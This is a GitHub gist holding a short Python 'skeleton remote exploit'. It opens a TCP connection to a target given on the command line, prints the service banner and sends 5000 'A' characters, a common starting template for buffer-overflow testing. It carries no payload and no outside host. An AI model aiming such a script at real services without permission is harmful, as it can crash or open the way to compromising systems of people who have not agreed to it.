Skip to content

Instantly share code, notes, and snippets.

@sirrushoo
Created December 12, 2023 15:08
Show Gist options
  • Save sirrushoo/0ef58de31f4b627d954802ef8e7c2aee to your computer and use it in GitHub Desktop.
Save sirrushoo/0ef58de31f4b627d954802ef8e7c2aee to your computer and use it in GitHub Desktop.
Skeleton Remote Exploit --Python
#!/usr/bin/env python
import sys
import socket
def exploit(target, port):
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
data=s.recv(1024)
print(data)
junk="A" * 5000
s.send(junk)
s.close()
if __name__ == "__main__":
if len(sys.argv) != 3:
print("[!] usage %s ip port" % sys.argv[0])
sys.exit(-1)
exploit(sys.argv[1], int(sys.argv[2]))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment